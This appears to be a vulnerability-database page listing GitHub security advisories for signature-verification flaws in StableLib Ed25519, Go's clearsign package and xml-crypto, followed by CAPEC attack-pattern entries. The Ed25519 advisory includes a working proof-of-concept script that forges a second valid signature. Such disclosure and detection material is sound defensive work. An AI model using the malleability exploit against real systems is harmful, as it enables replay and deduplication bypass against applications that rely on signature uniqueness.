"details": "# Ed25519 Signature Malleability via Missing S \u003c L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)\n\n## Target\n- Repository: StableLib/stablelib (package: @stablelib/ed25519)\n- Platform: GitHub PVR\n- Bounty: CVE credit\n- CWE: CWE-347 (Improper Verification of Cryptographic Signature)\n- Version: 2.0.2 (latest, 2026-03-28)\n\n## Root Cause\n\nThe `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S \u003e= L` to prevent signature malleability.\n\nWhen `S \u003e= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message.\n\n### Vulnerable code\n\n**File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`)\n\n```javascript\nexport function verify(publicKey, message, signature) {\n // ... length check, unpack public key ...\n const hs = new SHA512();\n hs.update(signature.subarray(0, 32)); // R\n hs.update(publicKey); // A\n hs.update(message); // M\n const h = hs.digest();\n reduce(h); // h is reduced mod L\n scalarmult(p, q, h); // [h](-A)\n scalarbase(q, signature.subarray(32)); // [S]B -- S NOT checked or reduced\n edadd(p, q);\n pack(t, p);\n if (verify32(signature, t)) { // compare R\n return false;\n }\n return true;\n}\n```\n\nNote that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check.\n\n## Proof of Concept\n\n```javascript\nconst ed = require(\u0027@stablelib/ed25519\u0027);\n\nconst kp = ed.generateKeyPair();\nconst msg = new TextEncoder().encode(\"Hello, world!\");\nconst sig = ed.sign(kp.secretKey, msg);\n\nconsole.log(\"Original valid:\", ed.verify(kp.publicKey, msg, sig)); // true\n\n// Ed25519 group order L\nconst L = [\n 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n];\n\n// Add L to S component to create malleable signature\nconst malSig = new Uint8Array(64);\nmalSig.set(sig.subarray(0, 32)); // R unchanged\nlet carry = 0;\nfor (let i = 0; i \u003c 32; i++) {\n const sum = sig[32 + i] + L[i] + carry;\n malSig[32 + i] = sum \u0026 0xff;\n carry = sum \u003e\u003e 8;\n}\n\nconsole.log(\"Malleable valid:\", ed.verify(kp.publicKey, msg, malSig)); // true\nconsole.log(\"Sigs differ:\", !sig.every((b, i) =\u003e b === malSig[i])); // true\n```\n\n**Output:**\n```\nOriginal valid: true\nMalleable valid: true\nSigs differ: true\n```\n\n## Impact\n\n- **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key\n- **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks\n- **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different \"signatures\"\n- **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH\n\n## Suggested Fix\n\nAdd an S \u003c L check before processing the signature:\n\n```javascript\n// L in little-endian\nconst L = new Uint8Array([\n 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n]);\n\nfunction scalarLessThanL(s) {\n for (let i = 31; i \u003e= 0; i--) {\n if (s[i] \u003c L[i]) return true;\n if (s[i] \u003e L[i]) return false;\n }\n return false; // equal to L, reject\n}\n\nexport function verify(publicKey, message, signature) {\n // ... existing checks ...\n if (!scalarLessThanL(signature.subarray(32))) {\n return false; // S \u003e= L, reject\n }\n // ... rest of verify ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing \"Ed25519 public-key signature (EdDSA with Curve25519)\" with no caveat about malleability.\n- **Is RFC 8032 strict about this?** No. RFC 8032 does not require S \u003c L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.\n- **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S \u003c L.\n- **Honest weaknesses:** (1) RFC 8032 does not strictly require S \u003c L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.\n- **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.\n\n## Solution\n\nUpgrade to version 2.1.0.",
"id": "GHSA-x3ff-w252-2g7j",
"modified": "2026-04-07T14:23:20Z",
"published": "2026-04-01T22:13:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/StableLib/stablelib/security/advisories/GHSA-x3ff-w252-2g7j"
},
{
"type": "PACKAGE",
"url": "https://github.com/StableLib/stablelib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "StableLib Ed25519 Signature Malleability via Missing S \u003c L Check"
}
GHSA-X3JR-PF6G-C48F
Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2023-10-02 15:42A message-forgery issue was discovered in crypto/openpgp/clearsign/clearsign.go in supplementary Go cryptography libraries 2019-03-25. According to the OpenPGP Message Format specification in RFC 4880 chapter 7, a cleartext signed message can contain one or more optional "Hash" Armor Headers. The "Hash" Armor Header specifies the message digest algorithm(s) used for the signature. However, the Go clearsign package ignores the value of this header, which allows an attacker to spoof it. Consequently, an attacker can lead a victim to believe the signature was generated using a different message digest algorithm than what was actually used. Moreover, since the library skips Armor Header parsing in general, an attacker can not only embed arbitrary Armor Headers, but also prepend arbitrary text to cleartext messages without invalidating the signatures.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20190424203555-c05e17bb3b2d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-11841"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-01T23:32:27Z",
"nvd_published_at": "2019-05-22T17:29:00Z",
"severity": "MODERATE"
},
"details": "A message-forgery issue was discovered in `crypto/openpgp/clearsign/clearsign.go` in supplementary Go cryptography libraries 2019-03-25. According to the OpenPGP Message Format specification in RFC 4880 chapter 7, a cleartext signed message can contain one or more optional \"Hash\" Armor Headers. The \"Hash\" Armor Header specifies the message digest algorithm(s) used for the signature. However, the Go clearsign package ignores the value of this header, which allows an attacker to spoof it. Consequently, an attacker can lead a victim to believe the signature was generated using a different message digest algorithm than what was actually used. Moreover, since the library skips Armor Header parsing in general, an attacker can not only embed arbitrary Armor Headers, but also prepend arbitrary text to cleartext messages without invalidating the signatures.",
"id": "GHSA-x3jr-pf6g-c48f",
"modified": "2023-10-02T15:42:07Z",
"published": "2022-05-24T16:46:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11841"
},
{
"type": "WEB",
"url": "https://github.com/golang/crypto/commit/c05e17bb3b2dca130fc919668a96b4bec9eb9442"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang/crypto/tree/master/openpgp/clearsign"
},
{
"type": "WEB",
"url": "https://go-review.git.corp.google.com/c/crypto/+/173778"
},
{
"type": "WEB",
"url": "https://go.googlesource.com/crypto/+/c05e17bb3b2dca130fc919668a96b4bec9eb9442"
},
{
"type": "WEB",
"url": "https://groups.google.com/d/msg/golang-openpgp/6vdgZoTgbIY/K6bBY9z3DAAJ"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/09/msg00011.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00014.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00017.html"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2023-1992"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20201207161832/https://sec-consult.com/en/blog/advisories/cleartext-message-spoofing-in-go-cryptography-libraries-cve-2019-11841"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152840/Go-Cryptography-Libraries-Cleartext-Message-Spoofing.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Golang/x/crypto message forgery vulnerability"
}
GHSA-X3M8-899R-F7C3
Vulnerability from github – Published: 2025-03-14 17:16 – Updated: 2025-03-16 21:34Impact
An attacker may be able to exploit this vulnerability to bypass authentication or authorization mechanisms in systems that rely on xml-crypto for verifying signed XML documents. The vulnerability allows an attacker to modify a valid signed XML message in a way that still passes signature verification checks. For example, it could be used to alter critical identity or access control attributes, enabling an attacker to escalate privileges or impersonate another user.
Patches
All versions <= 6.0.0 are affected. Please upgrade to version 6.0.1.
If you are still using v2.x or v3.x please upgrade to the associated patch version.
Indicators of Compromise
When logging XML payloads, check for the following indicators. If the payload includes encrypted elements, ensure you analyze the decrypted version for a complete assessment. (If encryption is not used, analyze the original XML document directly). This applies to various XML-based authentication and authorization flows, such as SAML Response payloads.
Presence of Comments in DigestValue
A DigestValue should not contain comments. If you find comments within it, this may indicate tampering.
Example of a compromised DigestValue:
<DigestValue>
<!--TBlYWE0ZWM4ODI1NjliYzE3NmViN2E1OTlkOGDhhNmI=-->
c7RuVDYo83z2su5uk0Nla8DXcXvKYKgf7tZklJxL/LZ=
</DigestValue>
Code to test
Pass in the decrypted version of the document
decryptedDocument = ... // yours to implement
const digestValues = xpath.select(
"//*[local-name()='DigestValue'][count(node()) > 1]",
decryptedDocument,
);
if (digestValues.length > 0) {
// Compromise detected, yours to implement
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "xml-crypto"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "6.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "xml-crypto"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "xml-crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29775"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-14T17:16:47Z",
"nvd_published_at": "2025-03-14T18:15:32Z",
"severity": "CRITICAL"
},
"details": "# Impact\nAn attacker may be able to exploit this vulnerability to bypass authentication or authorization mechanisms in systems that rely on xml-crypto for verifying signed XML documents. The vulnerability allows an attacker to modify a valid signed XML message in a way that still passes signature verification checks. For example, it could be used to alter critical identity or access control attributes, enabling an attacker to escalate privileges or impersonate another user.\n\n# Patches\nAll versions \u003c= 6.0.0 are affected. Please upgrade to version 6.0.1.\n\nIf you are still using v2.x or v3.x please upgrade to the associated patch version.\n\n# Indicators of Compromise\n\nWhen logging XML payloads, check for the following indicators. If the payload includes encrypted elements, ensure you analyze the decrypted version for a complete assessment. (If encryption is not used, analyze the original XML document directly). This applies to various XML-based authentication and authorization flows, such as SAML Response payloads.\n\n### Presence of Comments in `DigestValue`\nA `DigestValue` should **not** contain comments. If you find comments within it, this may indicate tampering.\n\n**Example of a compromised `DigestValue`:**\n```xml\n\u003cDigestValue\u003e\n \u003c!--TBlYWE0ZWM4ODI1NjliYzE3NmViN2E1OTlkOGDhhNmI=--\u003e\n c7RuVDYo83z2su5uk0Nla8DXcXvKYKgf7tZklJxL/LZ=\n\u003c/DigestValue\u003e\n```\n\n### Code to test\n\nPass in the decrypted version of the document\n```js\ndecryptedDocument = ... // yours to implement\n\nconst digestValues = xpath.select(\n \"//*[local-name()=\u0027DigestValue\u0027][count(node()) \u003e 1]\",\n decryptedDocument,\n);\n\nif (digestValues.length \u003e 0) {\n // Compromise detected, yours to implement\n}\n```",
"id": "GHSA-x3m8-899r-f7c3",
"modified": "2025-03-16T21:34:52Z",
"published": "2025-03-14T17:16:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/security/advisories/GHSA-x3m8-899r-f7c3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29775"
},
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/commit/28f92218ecbb8dcbd238afa4efbbd50302aa9aed"
},
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/commit/886dc63a8b4bb5ae1db9f41c7854b171eb83aa98"
},
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/commit/8ac6118ee7978b46aa56b82cbcaa5fca58c93a07"
},
{
"type": "PACKAGE",
"url": "https://github.com/node-saml/xml-crypto"
},
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/releases/tag/v2.1.6"
},
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/releases/tag/v3.2.1"
},
{
"type": "WEB",
"url": "https://github.com/node-saml/xml-crypto/releases/tag/v6.0.1"
},
{
"type": "WEB",
"url": "https://workos.com/blog/samlstorm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "xml-crypto Vulnerable to XML Signature Verification Bypass via DigestValue Comment"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.